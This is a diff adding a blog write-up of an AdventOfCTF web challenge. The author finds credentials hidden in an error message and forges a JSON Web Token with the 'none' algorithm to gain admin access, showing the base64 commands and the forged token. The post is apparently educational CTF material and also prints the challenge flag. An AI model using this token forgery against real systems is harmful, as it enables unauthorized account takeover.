diff --git a/content/posts/adventofctf/challenge_9.md b/content/posts/adventofctf/challenge_9.md new file mode 100644 index 0000000..c60fa13 --- /dev/null +++ b/content/posts/adventofctf/challenge_9.md @@ -0,0 +1,101 @@ ++++ +author = "Maik de Kruif" +title = "Challenge 9 - AdventOfCTF" +date = 2020-12-09T09:24:52+01:00 +description = "A writeup for challenge 9 of AdventOfCTF." +cover = "img/adventofctf/973ded4b2381c28af6c24d3d670303c6.png" +tags = [ + "AdventOfCTF", + "challenge", + "ctf", + "hacking", + "writeup", + "web", +] +categories = [ + "ctf", + "writeups", + "hacking", +] ++++ + +- Points: 900 + +## Description + +Can you find a way to get into the Naughty List Management System as an admin? + +Visit to start the challenge. + +## Finding the vulnerability + +Upon opening the website, we're greeted with a login screen. When we enter random credentials, we're greeted with some text: "Hey **user** your **password** is incorrect.". + +This took me quite some time to find out, but it's actually fairly obvious. I started by taking a look at the cookies, but there were none. Then I tried some common URLs, but nothing (except `/admin`). Then I took another look at the error message; some bold text... The username is `user` and the password is `incorrect`. + +When entering these credentials, we get redirected to `/admin` with a message: "The naughty list is currently empty....". This time, however, we also got a cookie. + +```text +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ.rre-8SBgllKlu7KpJFXuO-SEN3s-9IPRSJ7hmclXpNs +``` + +### JWT + +This looks like a JWT. We can confirm this by decoding the text before the first period (`.`): + +```bash +echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d +``` + +```json +{ "typ": "JWT", "alg": "HS256" } +``` + +It is a JWT that uses the HMAC-SHA256 (`HS256`) algorithm. Using a [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) is a compact, URL-safe, way of representing claims between a web server and a client. Let's decode the second part as well. + +```bash +echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ" | base64 -d +``` + +```json +{ + "auth": 28961, + "text": "I do love a good puzzle.", + "role": "user", + "iat": 1607717857 +} +``` + +We don't have to decode the last part as it is a secret that consists of non-printable characters. + +The role in the JWT probably has to be changed to `"admin"` so let's try to do that. + +#### Modifying a JWT + +To modify a JWT, we would have to know the secret that was used to create it. If only there were some [vulnerabilities](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 😀. + +In a JWT you can use `none` as the algorithm. It is intended to be used for situations where the integrity of the token has already been verified. Luckily for us, some libraries treat tokens signed with the `none` algorithm as a valid token with a verified signature. This means anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems. + +To create such a JWT, we just reverse the process. Firstly, we create the first part of the token. + +```bash +echo -n '{"typ":"JWT","alg":"none"}' | base64 +> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0= +``` + +Then the middle part: + +```bash +echo -n '{"auth":28961,"text":"I do love a good puzzle.","role":"admin","iat":1607717857}' | base64 +> eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30= +``` + +And finally, the secret. We can leave this empty because we use the `none` algorithm. + +Putting all of this together and removing the padding (`=`), we get `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30.` + +## Solution + +When setting the cookie to this value and reloading the page, we get the flag: `NOVI{Jw7_f@ilure_in_n0ne}`. + +This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#9-10).